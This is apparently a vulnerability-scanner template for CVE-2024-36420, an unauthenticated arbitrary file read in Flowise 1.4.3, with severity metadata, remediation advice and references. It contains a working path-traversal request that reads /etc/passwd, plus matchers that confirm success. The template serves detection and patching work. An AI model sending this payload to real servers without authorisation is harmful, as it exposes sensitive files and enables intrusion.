id: CVE-2024-36420

info:
  name: Flowise 1.4.3 - Arbitrary File Read
  author: fineman999
  severity: high
  description: |
    Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36420
    - https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
    - https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982
  classification:
    cve-id: CVE-2024-36420
    epss-score: 0.01776
    epss-percentile: 0.76006
    cwe-id: CWE-22
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    vendor: flowiseai
    product: flowise
    max-request: 1
  tags: cve,cve2024,flowise,lfi,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/v1/openai-assistants-file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileName":"../../../../etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "(?m)^root:[^:]*:0:0:"
          - "(?m)^daemon:[^:]*:[0-9]+:[0-9]+:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"

      - type: status
        status:
          - 200
# digest: 490a0046304402201ef89b28931c332f2debd9f6bfbff2e6b07ea26158cf6cdb43b25a8323f1d8410220703fb8c2faa4f6bd2a5dadf9bf92a5dab2d37bf261b113cda9f033e356b5a441:922c64590222798bb761d5b6d8e72950